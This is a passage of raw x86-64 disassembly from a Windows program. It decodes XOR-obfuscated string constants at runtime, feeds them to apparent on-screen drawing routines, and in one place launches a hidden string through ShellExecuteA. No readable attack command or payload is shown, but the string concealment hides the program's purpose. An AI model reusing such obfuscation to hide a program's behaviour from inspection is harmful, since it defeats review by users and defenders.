xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x18b0]
pxor xmm0, xmmword [rbp + 0x1870]
movdqa xmmword [rbp + 0xac60], xmm0
movdqa xmm1, xmmword [rbp + 0x18c0]
pxor xmm1, xmmword [rbp + 0x1880]
movdqa xmmword [rbp + 0xac70], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0xac80], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xac90], xmm3
lea rax, [rbp + 0x10830]
lea rcx, [rbp + 0xac60]
mov edx, 3
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400687b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x10830]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp + 0x268], 0x40400000
mov dword [rbp + 0x26c], 0x42820000
lea rcx, [rbp + 0x268]
call fcn.14008d5f0
movabs rax, 0x23818cae83309b3
mov qword [rbp + 0x2690], rax
movabs rax, 0x39f6f732449389f8
mov qword [rbp + 0x2698], rax
xorps xmm2, xmm2
movabs rax, 0x224b6fa58c5d60e4
mov qword [rbp + 0x26b0], rax
movabs rax, 0x39f6f75661bdeddd
mov qword [rbp + 0x26b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x26b0]
pxor xmm0, xmmword [rbp + 0x2690]
movdqa xmmword [rbp + 0x5170], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x5180], xmm1
lea rcx, [rbp + 0xbae0]
lea rax, [rbp + 0x5170]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
cmp byte [0x1402007b0], 0
je 0x14006899d
mov dword [rbp + 0x638], 0
movss dword [rbp + 0x63c], xmm10
mov dword [rbp + 0x640], 0
mov dword [rbp + 0x644], 0x3f666666
lea rcx, [rbp + 0x638]
jmp 0x1400689c2
movss dword [rbp + 0x648], xmm10
mov qword [rbp + 0x64c], 0
mov dword [rbp + 0x654], 0x3f666666
lea rcx, [rbp + 0x648]
mov r9d, dword [0x1402007ac]
mov r8d, dword [0x1402007a8]
lea rdx, [rbp + 0xbae0]
call fcn.1400ae890
cmp byte [0x1402007b0], 0
jne 0x140068d38
xor ecx, ecx
call fcn.1400837f0
test al, al
je 0x140068d38
movabs rax, 0x1883fd6105c061b5
mov qword [rbp + 0x17f0], rax
movabs rax, 0xdb2c5c92f638444
mov qword [rbp + 0x17f8], rax
movabs rax, 0x1ef31afc08
mov qword [rbp + 0x1800], rax
movabs rax, 0x9ef06260dd
mov qword [rbp + 0x1808], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x38f08a0e61ae08e2
mov qword [rbp + 0x1830], rcx
movabs rcx, 0x2d92e5e90f43a464
mov qword [rbp + 0x1838], rcx
movabs rcx, 0x1ef33adc28
mov qword [rbp + 0x1840], rcx
mov qword [rbp + 0x1848], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x1830]
pxor xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x7e10], xmm0
movdqa xmm1, xmmword [rbp + 0x1840]
pxor xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x7e20], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x7e30], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x7e40], xmm3
lea rax, [rbp + 0xe470]
lea rcx, [rbp + 0x7e10]
mov edx, 2
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140068ae0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xe470]
lea rcx, [rbp + 0x12e0]
call fcn.1400780a0
movss xmm0, dword [rax]
addss xmm0, xmm7
movss dword [rbp + 0x270], xmm0
mov dword [rbp + 0x274], 0x42820000
lea rcx, [rbp + 0x270]
call fcn.14008d5f0
movabs rax, 0x8a2ed8f7b7f0531
mov qword [rbp + 0x23d0], rax
movabs rax, 0x4e21757c437ffa77
mov qword [rbp + 0x23d8], rax
movabs rax, 0x60a31c54dc9a44
mov qword [rbp + 0x23e0], rax
movabs rax, 0xdc68d4abbd0df21
mov qword [rbp + 0x23e8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rcx, 0x28d19ae01f116c66
mov qword [rbp + 0x2410], rcx
movabs rcx, 0x3e51002f630b9539
mov qword [rbp + 0x2418], rcx
movabs rcx, 0x60a37831a8e82b
mov qword [rbp + 0x2420], rcx
mov qword [rbp + 0x2428], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x23d0]
pxor xmm0, xmmword [rbp + 0x2410]
movdqa xmmword [rbp + 0x86d0], xmm0
movdqa xmm1, xmmword [rbp + 0x23e0]
pxor xmm1, xmmword [rbp + 0x2420]
movdqa xmmword [rbp + 0x86e0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x86f0], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x8700], xmm3
lea rax, [rbp + 0xf430]
lea rcx, [rbp + 0x86d0]
mov edx, 2
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140068c80
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movss dword [rbp + 0x658], xmm10
movss dword [rbp + 0x65c], xmm10
movss dword [rbp + 0x660], xmm10
mov dword [rbp + 0x664], 0x3f666666
lea rdx, [rbp + 0xf430]
lea rcx, [rbp + 0x658]
call fcn.1400ae890
mov dword [rbp + 0x278], 0x40400000
mov dword [rbp + 0x27c], 0x42a00000
lea rcx, [rbp + 0x278]
call fcn.14008d5f0
movzx edx, byte [0x14020079e]
test dl, dl
je 0x140068dfc
movabs rax, 0x459eb71f2641
mov qword [rbp + 0xac0], rax
movabs rax, 0x29f6a793aeceac1
mov qword [rbp + 0xac8], rax
movabs rcx, 0x459efe596314
mov qword [rbp + 0xad0], rcx
mov qword [rbp + 0xad8], rax
movdqa xmm0, xmmword [rbp + 0xac0]
pxor xmm0, xmmword [rbp + 0xad0]
movaps xmmword [rbp + 0x3fc0], xmm0
movaps xmm0, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0x3fd0], xmm0
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x3fe0], xmm0
movaps xmm0, xmmword [rbp + 0x510]
movaps xmmword [rbp + 0x3ff0], xmm0
movaps xmm0, xmmword [rbp + 0x520]
movaps xmmword [rbp + 0x4000], xmm0
lea r8, [rbp + 0x3fc0]
jmp 0x140068e96
movabs rax, 0x137074d6005ae3c3
mov qword [rbp + 0xae0], rax
movabs rax, 0x1d70b89e0d8c3a3b
mov qword [rbp + 0xae8], rax
movabs rcx, 0x13700db5613d868f
mov qword [rbp + 0xaf0], rcx
mov qword [rbp + 0xaf8], rax
movdqa xmm0, xmmword [rbp + 0xaf0]
pxor xmm0, xmmword [rbp + 0xae0]
movaps xmmword [rbp + 0x4a10], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x4a20], xmm0
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x4a30], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x4a40], xmm0
movaps xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x4a50], xmm0
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x4a60], xmm0
movaps xmm0, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x4a70], xmm0
lea r8, [rbp + 0x4a10]
movabs rax, 0x19815cbdc7996302
mov qword [rbp + 0x26d0], rax
movabs rax, 0x69da1dcaa2af220a
mov qword [rbp + 0x26d8], rax
xorps xmm2, xmm2
movabs rax, 0x69f8089db4f60a40
mov qword [rbp + 0x26f0], rax
movabs rax, 0x69da6eef8295026f
mov qword [rbp + 0x26f8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x26d0]
pxor xmm0, xmmword [rbp + 0x26f0]
movdqa xmmword [rbp + 0x9080], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x9090], xmm1
lea rcx, [rbp + 0xbbc0]
lea rax, [rbp + 0x9080]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
test dl, dl
je 0x140068fc8
mov dword [rbp + 0x568], 0
movss dword [rbp + 0x56c], xmm10
mov dword [rbp + 0x570], 0
mov dword [rbp + 0x574], 0x3f666666
lea rcx, [rbp + 0x568]
jmp 0x140068fed
movss dword [rbp + 0x700], xmm10
mov qword [rbp + 0x704], 0
mov dword [rbp + 0x70c], 0x3f666666
lea rcx, [rbp + 0x700]
lea rdx, [rbp + 0xbbc0]
call fcn.1400ae890
cmp byte [0x14020079e], 0
jne 0x140069428
xor ecx, ecx
call fcn.1400837f0
test al, al
je 0x140069428
movabs rax, 0x3cdb5dfc4b22940
mov qword [rbp + 0x2350], rax
movabs rax, 0x13baacdf8f919e68
mov qword [rbp + 0x2358], rax
mov qword [rbp + 0x2360], 0x57b678c0
mov qword [rbp + 0x2368], 0xffffffffa0258f59
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x73b4e1ffb7dd4002
mov qword [rbp + 0x2390], rax
movabs rax, 0x72ddc993afabbe0d
mov qword [rbp + 0x2398], rax
mov qword [rbp + 0x23a0], 0x57b601a3
mov qword [rbp + 0x23a8], 0xffffffffa0258f59
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2390]
pxor xmm0, xmmword [rbp + 0x2350]
movdqa xmmword [rbp + 0x7af0], xmm0
movdqa xmm1, xmmword [rbp + 0x2360]
pxor xmm1, xmmword [rbp + 0x23a0]
movdqa xmmword [rbp + 0x7b00], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x7b10], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x7b20], xmm3
lea rax, [rbp + 0xe0f0]
lea rcx, [rbp + 0x7af0]
mov edx, 2
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400690f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xe0f0]
lea rcx, [rbp + 0x12e8]
call fcn.1400780a0
movss xmm0, dword [rax]
addss xmm0, xmm7
movss dword [rbp + 0x280], xmm0
mov dword [rbp + 0x284], 0x428c0000
lea rcx, [rbp + 0x280]
call fcn.14008d5f0
movabs rax, 0x90eb3e0b307c560
mov qword [rbp + 0x3390], rax
movabs rax, 0x3755ab5110f7cc28
mov qword [rbp + 0x3398], rax
movabs rax, 0x192a722ab37d6400
mov qword [rbp + 0x33a0], rax
movabs rax, 0x333d2f93eb95d1be
mov qword [rbp + 0x33a8], rax
movabs rax, 0x1148b79649ef8020
mov qword [rbp + 0x33b0], rax
movabs rax, 0x54b00550d7073e9a
mov qword [rbp + 0x33b8], rax
movabs rax, 0x130c5ba7fa7ceb20
mov qword [rbp + 0x33c0], rax
movabs rax, 0x60d7037fdf0fbe53
mov qword [rbp + 0x33c8], rax
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
movabs rax, 0x4b2ed687dd66ad23
mov qword [rbp + 0x3410], rax
movabs rax, 0x5a3ad93730a48361
mov qword [rbp + 0x3418], rax
movabs rax, 0x3953114bd4182820
mov qword [rbp + 0x3420], rax
movabs rax, 0x397469d6beb5beca
mov qword [rbp + 0x3428], rax
movabs rax, 0x313ac2f930cfe669
mov qword [rbp + 0x3430], rax
movabs rax, 0x3bd27735bf7351f7
mov qword [rbp + 0x3438], rax
movabs rax, 0x637c2ed4da189941
mov qword [rbp + 0x3440], rax
movabs rax, 0x60d7037fac7bcc3c
mov qword [rbp + 0x3448], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
movdqa xmm0, xmmword [rbp + 0x3410]
pxor xmm0, xmmword [rbp + 0x3390]
movdqa xmmword [rbp + 0x69f0], xmm0
movdqa xmm1, xmmword [rbp + 0x33a0]
pxor xmm1, xmmword [rbp + 0x3420]
movdqa xmmword [rbp + 0x6a00], xmm1
movdqa xmm0, xmmword [rbp + 0x33b0]
pxor xmm0, xmmword [rbp + 0x3430]
movdqa xmmword [rbp + 0x6a10], xmm0
movdqa xmm1, xmmword [rbp + 0x33c0]
pxor xmm1, xmmword [rbp + 0x3440]
movdqa xmmword [rbp + 0x6a20], xmm1
pxor xmm6, xmm2
movdqa xmmword [rbp + 0x6a30], xmm6
pxor xmm7, xmm3
movdqa xmmword [rbp + 0x6a40], xmm7
pxor xmm8, xmm4
movdqa xmmword [rbp + 0x6a50], xmm8
pxor xmm9, xmm5
movdqa xmmword [rbp + 0x6a60], xmm9
lea rax, [rbp + 0x119f0]
lea rcx, [rbp + 0x69f0]
mov edx, 7
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140069370
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movss dword [rbp + 0x710], xmm10
movss dword [rbp + 0x714], xmm10
movss dword [rbp + 0x718], xmm10
mov dword [rbp + 0x71c], 0x3f666666
lea rdx, [rbp + 0x119f0]
lea rcx, [rbp + 0x710]
call fcn.1400ae890
movss xmm7, dword [0x1401140a4]
mov dword [rbp + 0x288], 0x40400000
mov dword [rbp + 0x28c], 0x42be0000
lea rcx, [rbp + 0x288]
call fcn.14008d5f0
lea r8, [0x1401ffaa0]
cmp qword [reloc.WS2_32.dll_getsockopt], 8
cmovae r8, qword [0x1401ffaa0]
lea r10, [0x1401ffa60]
cmp qword [reloc.WS2_32.dll_getsockopt], 8
cmovae r10, qword [0x1401ffa60]
movabs rax, 0xd6c06b139f61c92
mov qword [rbp + 0x22d0], rax
movabs rax, 0x1d27046d6cdeeb86
mov qword [rbp + 0x22d8], rax
movabs rax, 0x1c82e87c3a7ab55a
mov qword [rbp + 0x22e0], rax
movabs rax, 0x31818c7df9030074
mov qword [rbp + 0x22e8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x2d1f71de5d9875c5
mov qword [rbp + 0x2310], rax
movabs rax, 0x3d19294d1ffbcbbc
mov qword [rbp + 0x2318], rax
movabs rax, 0x3ce6cd5c5109dc1e
mov qword [rbp + 0x2320], rax
movabs rax, 0x3181ff0adc233e59
mov qword [rbp + 0x2328], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2310]
pxor xmm0, xmmword [rbp + 0x22d0]
movdqa xmmword [rbp + 0x6650], xmm0
movdqa xmm1, xmmword [rbp + 0x22e0]
pxor xmm1, xmmword [rbp + 0x2320]
movdqa xmmword [rbp + 0x6660], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x6670], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x6680], xmm5
lea rax, [rbp + 0xfc10]
lea rcx, [rbp + 0x6650]
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140069570
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
cmp dword [0x1401ffac4], 1
jne 0x140069629
mov dword [rbp + 0x720], edx
movss dword [rbp + 0x724], xmm10
mov dword [rbp + 0x728], edx
mov dword [rbp + 0x72c], 0x3f666666
lea rcx, [rbp + 0x720]
jmp 0x14006964e
movss dword [rbp + 0x730], xmm10
mov qword [rbp + 0x734], 0
mov dword [rbp + 0x73c], 0x3f666666
lea rcx, [rbp + 0x730]
mov qword [rsp + 0x20], r8
mov r9d, dword [0x1401ffac0]
mov r8, r10
lea rdx, [rbp + 0xfc10]
call fcn.1400ae890
cmp dword [0x1401ffac4], 0
jne 0x140069c97
xor ecx, ecx
call fcn.1400837f0
test al, al
je 0x140069a70
movabs rax, 0x1cbfb0a261e978f8
mov qword [rbp + 0x2250], rax
movabs rax, 0x25c4793b8b84194
mov qword [rbp + 0x2258], rax
mov qword [rbp + 0x2260], 0x56ef5254
mov qword [rbp + 0x2268], 0xffffffffa0fa8531
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6cc6e482128611ba
mov qword [rbp + 0x2290], rax
movabs rax, 0x633b22df988261f1
mov qword [rbp + 0x2298], rax
mov qword [rbp + 0x22a0], 0x56ef2b37
mov qword [rbp + 0x22a8], 0xffffffffa0fa8531
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x2250]
pxor xmm0, xmmword [rbp + 0x2290]
movdqa xmmword [rbp + 0x7c20], xmm0
movdqa xmm1, xmmword [rbp + 0x2260]
pxor xmm1, xmmword [rbp + 0x22a0]
movdqa xmmword [rbp + 0x7c30], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x7c40], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x7c50], xmm5
lea rax, [rbp + 0xe830]
lea rcx, [rbp + 0x7c20]
mov edx, 2
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140069760
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movss dword [rsp + 0x20], xmm12
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xe830]
lea rcx, [rbp + 0x12f0]
call fcn.1400780a0
movss xmm0, dword [rax]
addss xmm0, xmm7
movss dword [rbp + 0x290], xmm0
mov dword [rbp + 0x294], 0x428c0000
lea rcx, [rbp + 0x290]
call fcn.14008d5f0
movabs rax, 0x136b7cac9651b21b
mov qword [rbp + 0x3490], rax
movabs rax, 0x597b67b51aa7eecf
mov qword [rbp + 0x3498], rax
movabs rax, 0x1c7c068d9ef010a4
mov qword [rbp + 0x34a0], rax
movabs rax, 0x630e07f36b946e42
mov qword [rbp + 0x34a8], rax
movabs rax, 0x605b1a2aa56bf3b
mov qword [rbp + 0x34b0], rax
movabs rax, 0x7e131ad3fa20356
mov qword [rbp + 0x34b8], rax
movabs rax, 0x1762b00b56d4ad59
mov qword [rbp + 0x34c0], rax
movabs rax, 0x72c49d60087e63ce
mov qword [rbp + 0x34c8], rax
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
movabs rcx, 0x331f0ec9e03fdd58
mov qword [rbp + 0x3510], rcx
movabs rcx, 0x2a02149568d281b6
mov qword [rbp + 0x3518], rcx
movabs rcx, 0x770f6fe9be9d75d0
mov qword [rbp + 0x3520], rcx
movabs rcx, 0x695a57b44bfb1a62
mov qword [rbp + 0x3528], rcx
movabs rcx, 0x697191c9c93fd378
mov qword [rbp + 0x3530], rcx
movabs rcx, 0x73c159ce4bc37476
mov qword [rbp + 0x3538], rcx
movabs rcx, 0x7807d46220f4c831
mov qword [rbp + 0x3540], rcx
mov qword [rbp + 0x3548], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
movdqa xmm0, xmmword [rbp + 0x3490]
pxor xmm0, xmmword [rbp + 0x3510]
movdqa xmmword [rbp + 0xa680], xmm0
movdqa xmm1, xmmword [rbp + 0x3520]
pxor xmm1, xmmword [rbp + 0x34a0]
movdqa xmmword [rbp + 0xa690], xmm1
movdqa xmm0, xmmword [rbp + 0x3530]
pxor xmm0, xmmword [rbp + 0x34b0]
movdqa xmmword [rbp + 0xa6a0], xmm0
movdqa xmm1, xmmword [rbp + 0x3540]
pxor xmm1, xmmword [rbp + 0x34c0]
movdqa xmmword [rbp + 0xa6b0], xmm1
pxor xmm2, xmm6
movdqa xmmword [rbp + 0xa6c0], xmm2
pxor xmm3, xmm7
movdqa xmmword [rbp + 0xa6d0], xmm3
pxor xmm4, xmm8
movdqa xmmword [rbp + 0xa6e0], xmm4
pxor xmm5, xmm9
movdqa xmmword [rbp + 0xa6f0], xmm5
lea rax, [rbp + 0x11dc0]
lea rcx, [rbp + 0xa680]
mov edx, 7
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
